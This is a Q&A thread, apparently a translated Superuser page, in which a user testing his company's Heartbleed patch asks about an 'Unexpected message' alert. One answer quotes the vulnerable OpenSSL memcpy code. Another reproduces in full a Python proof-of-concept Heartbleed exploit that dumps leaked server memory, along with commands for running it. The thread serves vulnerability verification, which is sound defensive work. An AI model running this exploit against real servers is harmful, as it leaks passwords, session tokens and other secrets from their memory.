Heartbleed "Неожиданное сообщение"

1976
Jovan Perovic

У меня есть задача проверить исправление программного обеспечения нашей компании, которое касается Heartbleedатаки.

Теперь я уверен, что версия программного обеспечения, которую я пытаюсь использовать, использует 1.0.1eбиблиотеку OpenSSL, которая должна быть уязвимой. Тем не менее, я опробовал несколько инструментов тестирования Heartbleed, и все они говорят, что в ответ произошла ошибка и что мое приложение, вероятно, не уязвимо.

В ходе тестирования инструмент CardiacArrest возвратил:

[INFO] Connecting to 10.63.62.79:443 using TLSv1.2 [INFO] Sending ClientHello [INFO] ServerHello received [INFO] Sending Heartbeat [INFO] The server received an alert. It is likely not vulnerable. [INFO] Alert Level: fatal [INFO] Alert Description: Unexpected message (see RFC 5246 section 7.2) [INFO] Closing connection 

После консультации с RFC 5264 я нашел больше информации о "Неожиданном сообщении":

непредвиденное
сообщение Получено неприемлемое сообщение. Это предупреждение всегда фатально и никогда не должно наблюдаться при обмене данными между правильными реализациями.

Вопросы:

  • Может кто-нибудь пролить свет на этот результат?
  • Могли OpenSSLбыть скомпилированы без Heartbeatрасширения?
  • Есть ли способ перечислить расширения, скомпилированные в OpenSSL?

Большое спасибо!

6
Да, OpenSSL * можно * скомпилировать без включенного Heartbeat и [этот вопрос по безопасности] (http://security.stackexchange.com/questions/55155/what-are-the-side-effects-of-recompiling-openssl-with -dopenssl-no-heartbeats) подробно, что * должно * произойти. Mokubai 10 лет назад 1
Спасибо! После запуска `openssl version -a`,` DOPENSSL_NO_HEARTBEATS` не показывалось в моем терминале, поэтому я предположил бы, что достаточно исключить, что `OpenSSL` был скомпилирован без расширения` Heartbeat`. По сути, эта версия (`1.0.1e`) должна быть уязвимой, верно? Jovan Perovic 10 лет назад 0
Если `DOPENSSL_NO_HEARTBEATS` не отображается как флаг компиляции, я думаю, это означает, что OpenSSL был скомпилирован _с расширением` Heartbeat`. 1.0.1e и все остальные версии, начиная с 1.0.1, уязвимы, только если они скомпилированы с поддержкой Heartbeat. ov1d1u 10 лет назад 3
Это то, что подозревал, а также. Но мне не удается воспроизвести уязвимость в версии с OpenSSL 1.0.1e. Мне нужно какое-то рабочее доказательство того, что версия программного обеспечения, использующая `1.0.1e`, уязвима и одна после этого не ... Jovan Perovic 10 лет назад 0
проверьте дату в вашей версии openssl (при условии, что вы используете менеджер пакетов, такой как apt). если после 7 апреля у тебя все хорошо. также это: http://serverfault.com/questions/587329/heartbleed-what-is-it-and-what-are-options-to-mitigate-it и это: http://askubuntu.com/questions/444702 / как к патч-The-heartbleed-ошибка-CVE-2014-0160-в-OpenSSL puredevotion 10 лет назад 0
Распределение патчей отстой иногда. Вы не знаете, что у вас есть на самом деле ... [Определите эффективную версию безопасности, когда сталкиваетесь с Backpatching] (https://superuser.com/questions/740418/determine-effective-security-version-when-faced-with-backpatching ) FTW! jww 9 лет назад 0

2 ответа на вопрос

2
harrymc

Not every product that uses a vulnerable OpenSSL library is automatically vulnerable to Heartbeat. This is an SSL/TLS-layer bug, not a core crypto code bug. It all depends how your product is using the library.

The bug itself is not as serious as advertised, since what it does is send back a 64KB chunk of the program's memory that follows the send buffer. This chunk may, or may not, contain confidential data. And even if it does contain such data, the hacker still has to isolate it from the surrounding rubbish.

There are quite a few products around which use the vulnerable OpenSSL library but are not themselves vulnerable, just because they mishandle that error condition (bugs that protect against bugs). Your product may be one of them.

You should install some line-sniffer such as Wireshark and observe the Heartbeat message package and its answer. If the answer is very long, approaching 64KB, then your product is vulnerable. If it is short, however erroneous it is, then you are not vulnerable.

The best solution is of course to patch the OpenSSL library.

Heartbleed information

A good explanation of this bug can be found in the article Anatomy of OpenSSL's Heartbleed :

Heartbleed

The C-code in OpenSSL that causes the bug is :

/* Enter response type, length and copy payload */ *bp++ = TLS1_HB_RESPONSE; s2n(payload, bp); memcpy(bp, pl, payload); 

This code is fixed by a simple check of the variable payload before the memcpy call (memory copy function).

Only the 64KB that follow the constructed message are sent. The message itself is allocated in memory, presumably by the function malloc(), so may not always be located at the same address. However, there are limits to which data can be extracted.

This means that stories about reading the entire process memory via this bug are just scare stories, although with a bit of chance the attacker can luck out and get very sensitive data. It all depends on how the attacked product was programmed and its exact memory layout.

Я не думаю, что это отвечает ни на один из его вопросов;) Ну, может быть, первый вопрос. Но это хорошая информация для случайного читателя. jww 9 лет назад 0
1
Cameron Kerr

First off, Heartbleed has been demonstrated to be able to scan a processes memory (64kB at a time), so is very serious. Even without that, the data that can be seen will easily expose things such passwords, session tokens, and a number of other things (particularly for the PHP applications I've been looking at).

Bear in mind that Hearbleed affects TLS 1.1 and 1.2, and so if you're testing you need to specify that. (I can't be sure if restricting SSL version is a useful mitigation; best to patch and replace)

Unknown message, in this case, very likely means that you asked for an option that was not appropriate (or supported) on the peer. You might get this if you don't specify TLS 1.2.

I used a little Python tool created by Jared Stafford. Its instructive to run this using watch to see what you can see. Its not listed on his website, so I've included it below. You'll want to run it using something like ./heartbleed --port 443 --ver 2 SERVER_IP

I found it more useful to run is as follows:

 ./heartbleed.py somewebserver.example.com -v2 | fgrep -v '................' 

or:

./heartbleed.py somewebserver.example.com --port 443 -v 2 | grep 'server is vulnerable' 

I don't have any unpatched servers to demonstrate this with, but if vulnerable, you'll get a hex/ASCII dump of the material found, which may be interesting to look at. You'll also get a server is vulnerable message.

#!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code. # # -shirk added TLS version # -jpicht added SMTP STARTTLS hack import sys import struct import socket import time import select import re from optparse import OptionParser options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') options.add_option('-s', '--smtp-starttls', action="store_true", dest="smtpstarttls", help='Issue SMTP STARTTLS command and wait for data') options.add_option('-v', '--ver', type='int', default=1, help='TLS version 1 is 1.0, 2 is 1.1, 3 is 1.2 (default: 1)') def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') hbv10 = h2bin(''' 18 03 01 00 03 01 40 00 ''') hbv11 = h2bin(''' 18 03 02 00 03 01 40 00 ''') hbv12 = h2bin(''' 18 03 03 00 03 01 40 00 ''') def hexdump(s): for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print ' %04x: %-48s %s' % (b, hxdat, pdat) print def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print 'Unexpected EOF receiving record header - server closed connection' return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print 'Unexpected EOF receiving record payload - server closed connection' return None, None, None print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) return typ, ver, pay def hit_hb(s): #s.send() while True: typ, ver, pay = recvmsg(s) if typ is None: print 'No heartbeat response received, server likely not vulnerable' return False if typ == 24: print 'Received heartbeat response:' hexdump(pay) if len(pay) > 3: print 'WARNING: server returned more data than it should - server is vulnerable!' else: print 'Server processed malformed heartbeat, but did not return any extra data.' return True if typ == 21: print 'Received alert:' hexdump(pay) print 'Server returned error, likely not vulnerable' return False def main(): opts, args = options.parse_args() if len(args) < 1: options.print_help() return s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print 'Connecting...' sys.stdout.flush() s.connect((args[0], opts.port)) if opts.smtpstarttls: print 'Sending STARTTLS...' sys.stdout.flush() s.send("STARTTLS\n") print 'Waiting for reply...' sys.stdout.flush() recvall(s, 100000, 1) print 'Sending Client Hello...' sys.stdout.flush() s.send(hello) print 'Waiting for Server Hello...' sys.stdout.flush() while True: typ, ver, pay = recvmsg(s) if typ == None: print 'Server closed connection without sending Server Hello.' return # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: break print 'Sending heartbeat request...' sys.stdout.flush() if (opts.ver == 1): s.send(hbv10) hit_hb(s) if (opts.ver == 2): s.send(hbv11) hit_hb(s) if (opts.ver == 3): s.send(hbv12) hit_hb(s) if __name__ == '__main__': main() 
Хорошо, после нескольких дней изучения всех аспектов я пришел к выводу, что программное обеспечение нашей компании не было уязвимым. В целях тестирования у меня был установлен и запущен дополнительный сервер, и я запустил каждую известную в Google утилиту для тестирования, чтобы определить уязвимость - многие тесты доказали, что сервер действительно был уязвим. Кроме того, те же утилиты возвращали «Предупреждение сервера / Неизвестное сообщение» при тестировании на нашем сервере приложений. Кармерон, спасибо за подробное объяснение и помощь по этому вопросу. Щедрые очки идут к вам - в конце концов, вы были здесь, чтобы указать / объяснить серьезность этого подвига :) Jovan Perovic 9 лет назад 0
Потрясающие. Рад, что мог помочь. Cameron Kerr 9 лет назад 0

Похожие вопросы